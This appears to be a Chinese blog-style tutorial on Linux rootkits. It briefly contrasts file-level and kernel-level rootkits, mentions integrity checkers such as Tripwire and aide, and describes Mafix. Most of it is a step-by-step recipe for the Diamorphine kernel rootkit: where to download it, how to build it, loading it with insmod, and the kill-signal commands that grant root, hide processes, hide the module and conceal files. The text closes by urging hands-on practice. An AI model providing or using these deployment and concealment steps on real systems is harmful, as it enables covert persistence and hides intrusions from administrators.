文件级别的rootkit: 一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如Tripwire、aide等。
内核级rootkit: 是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。内核级rootkit主要依附在内核上,它并不对系统文件做任何修改。以防范为主。
Mafix
Mafix 是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并 可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件
Diamorphine
Diamorphine是一个C语言写的,运行于linux系统的rootkit,支持linux 内核版本2.6.x/3.x/4.x。
下载地址:https://github.com/m0nad/Diamorphine.git
安装使用
验证内核是否为 2.6.x/3.x/4.x/5.x
uname -r
下载并编译
cd Diamorphine
make
以root权限加载模块
insmod diamorphine.ko
获取root
kill -64 0
隐藏进程
kill -31 pid
隐藏模块
该模块默认是隐藏的,发送信号63,可以使模块隐藏或显示
kill -63 0
lsmod | grep -i diamorphine
隐藏模块后,只要是 diamorphine_secret
开头的文件名或文件夹,都会隐藏,ls,du都找不到
卸载模块
需要先显示模块,卸载需要root权限
kill -63 0
rmmod diamorphine
总结
总的大致流程就这样吧,网上也有很多的参考,具体原理可以进行实操,这样的话更加清晰一点。
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-